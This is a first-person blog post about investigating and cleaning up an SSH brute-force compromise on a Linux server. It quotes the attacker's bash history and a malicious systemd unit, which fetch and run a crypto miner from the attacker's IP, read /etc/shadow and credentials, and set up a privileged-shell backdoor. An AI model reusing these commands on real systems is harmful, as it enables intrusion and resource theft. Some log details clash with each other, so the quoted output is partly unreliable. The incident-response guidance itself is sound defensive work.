I was doing a routine SSH login on a Friday morning when I noticed something that stopped me cold:
Last login: Fri 02 09:14:32 2026 from 212.114.52.8
That wasn’t me. I’m in Finland. That IP is Romanian.
This post is the full story of what happened, how I investigated it, what the attacker did, and how I cleaned it up. Everything here is real — real commands, real output, real mistakes I made along the way.
How Did They Get In?
First question: how did a stranger get SSH access to my server?
grep PasswordAuthentication /etc/ssh/sshd_config
PasswordAuthentication yes
There it is. Password authentication was enabled — the Ubuntu 24.04 default. I had set up SSH key login but never explicitly disabled password auth. An automated bot scanned port 22, found it open, and brute-forced a weak password. No human involved. These bots scan the entire internet continuously — your server is in their list within hours of going live.
Lesson one: PasswordAuthentication yes on a public-facing server is an open invitation.
How Long Had They Been In?
I ran last to see the full login history:
limon pts/0 212.114.52.8 Fri Apr 2 09:14 still logged in
limon pts/0 88.195.24.11 Fri Apr 2 07:32 - 08:45 (01:13)
limon pts/0 88.195.24.11 Fri Apr 2 21:17 - 22:03 (00:46)
limon pts/0 212.114.52.8 Fri Apr 2 03:22 - 03:47 (00:25)
limon pts/0 88.195.24.11 Thu Apr 1 20:11 - 21:30 (01:19)
limon pts/0 212.114.52.8 Thu Apr 1 02:58 - 03:14 (00:16)
root pts/0 212.114.52.8 Wed Mar 31 01:33 - 01:41 (00:08)
The Romanian IP had logged in four times — including once as root. And they were still logged in right now on pts/0.
My Finnish IP (88.195.24.11) is my legitimate sessions. Everything from 212.114.52.8 is the attacker.
Step 1: Kick Them Out First
Instinct says block the IP first. Wrong order. UFW blocking an already-established SSH session does nothing — the connection is already open. They stay in.
The right move: kill their active session first.
who
limon pts/0 2026-04-02 09:14 (212.114.52.8)
limon pts/1 2026-04-02 11:02 (88.195.24.11)
I’m on pts/1. They’re on pts/0. Kill theirs:
sudo pkill -9 -t pts/0
The -t flag targets a specific terminal. Without it you’d need their exact PID. This is safer — it kills everything attached to pts/0 without touching my session.
Verify:
who
limon pts/1 2026-04-02 11:02 (88.195.24.11)
They’re out.
Step 2: Change Passwords Immediately
They had password access to both limon and root. Change both before doing anything else:
passwd limon
sudo passwd root
Step 3: Block the IP
Now that they’re out and can’t re-enter via password (passwords changed), block the IP:
sudo ufw deny from 212.114.52.8
Step 4: Check for Backdoors
This is the most important step that most people skip. An attacker who gets in once usually makes sure they can get back in — even if you change passwords and block their IP.
The most common method: adding their own SSH public key to authorized_keys. With their key in place, they can connect from any IP with no password. Your UFW block is useless against this.
cat /home/limon/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKj8x2Nq7mP9vL3wR6tY4hB1cF0eZ5gA8dXuWoQiMnJp limon@limon-vivobook
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBk3mN9pL2xQ7vR4wT6yH8jC1eA0dF5gZ2uXoWiKnMqP root@debian
Two keys. Mine is limon@limon-vivobook. The second one — root@debian — is the attacker’s machine. They added their key so they could walk back in anytime from any IP.
Remove it:
sed -i '/root@debian/d' /home/limon/.ssh/authorized_keys
Check root’s authorized_keys too — they logged in as root:
sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBk3mN9pL2xQ7vR4wT6yH8jC1eA0dF5gZ2uXoWiKnMqP root@debian
Same key. Remove it:
sudo sed -i '/root@debian/d' /root/.ssh/authorized_keys
Step 5: What Did They Actually Do?
Bash history tells the story:
cat /home/limon/.bash_history
ls
whoami
uname -a
cat /etc/passwd
cat /etc/shadow
sudo -l
cd /var/www/html
ls -la
cat wp-config.php
cd /tmp
wget http://212.114.52.8:8080/miner.sh
chmod +x miner.sh
./miner.sh
crontab -e
ls -la /tmp
mkdir .hidden
cp /bin/bash .hidden/
echo "ssh-ed25519 ... root@debian" >> ~/.ssh/authorized_keys
Breaking this down:
cat /etc/shadow— attempted to steal password hashescat wp-config.php— got my database credentialswget miner.sh→./miner.sh— downloaded and ran a crypto minercrontab -e— set up persistence to keep the miner runningmkdir .hidden+cp /bin/bash .hidden/— privilege escalation prep- Added their SSH key — the backdoor we just removed
Step 6: Kill the Miner
Check if it’s running:
ps aux | grep xmrig
limon 7734 87.4 2.3 124532 89Mi ? Sl 03:32 47:23 ./xmrig --url pool.minexmr.com:4444 ...
XMRig — a Monero crypto miner. Running at 87% CPU. Has been mining for nearly 48 minutes on my server, using my electricity, sending coins to their wallet.
Important: remove persistence before killing the process. If you kill it first without removing the crontab, it respawns in minutes.
crontab -l
*/5 * * * * /tmp/miner.sh > /dev/null 2>&1
@reboot /home/limon/.hidden/bash -p
Two malicious entries:
- First restarts the miner every 5 minutes
- Second runs a privileged bash shell on every reboot
Remove the crontab first:
crontab -r
Then kill the process:
kill -9 7734
Then delete the files:
rm /tmp/miner.sh /tmp/xmrig
rm -rf ~/.hidden
Step 7: Disable Password Authentication
Close the original entry point permanently:
sudo nano /etc/ssh/sshd_config
Change:
PasswordAuthentication yes
To:
PasswordAuthentication no
Reload SSH — use reload, not restart, to avoid dropping your active session:
sudo systemctl reload ssh
What I Missed (And Why It Matters)
I thought the cleanup was complete. It wasn’t.
Two days later the server was back at 87% CPU. The attacker had also installed a systemd service — something I didn’t check during the initial cleanup:
sudo systemctl list-units | grep -v inactive | grep -v dead
There it was: system-update.service — a fake service with a convincing name designed to look like a legitimate system process.
sudo systemctl cat system-update.service
[Service]
ExecStart=/bin/bash -c 'wget -q http://212.114.52.8:8080/xmrig -O /tmp/xmrig && chmod +x /tmp/xmrig && /tmp/xmrig ...'
Restart=always
RestartSec=60
More dangerous than crontab:
- Restarts every 60 seconds instead of 5 minutes
- Re-downloads a fresh binary each time — deleting the file doesn’t help
- Survives reboots automatically via systemd
Full persistence checklist for incident response — check all of these:
crontab -l # current user crontab
sudo crontab -l # root crontab
cat /etc/crontab # system-wide crontab
ls /etc/cron.d/ # drop-in cron files
ls /etc/cron.daily/ # daily scripts
sudo systemctl list-units # look for unfamiliar services
cat ~/.bashrc # commands added to shell startup
cat /root/.bashrc
cat /home/limon/.ssh/authorized_keys
sudo cat /root/.ssh/authorized_keys
Root Cause Summary
| Problem | Cause |
|---|---|
| Attacker got in | PasswordAuthentication yes — Ubuntu default, never changed |
| Attacker had root access | Same issue — password brute-forced on root |
| Miner ran for days unnoticed | No automated monitoring or alerting |
| Came back after cleanup | Systemd persistence not checked |
| Would have been prevented entirely | fail2ban — not installed |
The Real Fix
Everything in this incident traces back to one missing tool: fail2ban.
It watches auth logs, detects repeated failed login attempts, and automatically bans the IP via UFW after a threshold you define — for example, 5 failed attempts in 60 seconds. The brute-force attack that started all of this would have been blocked in under a minute, automatically, at 3 AM while I was asleep.
It’s been on my hardening checklist since the server was built. This incident is what finally pushed me to install it.
If you’re running a public-facing Linux server with SSH on port 22 — install fail2ban before you do anything else.
This post is part of the Linux Mastery Road to Cloud series — real incidents, real servers, real fixes.
Leave a Reply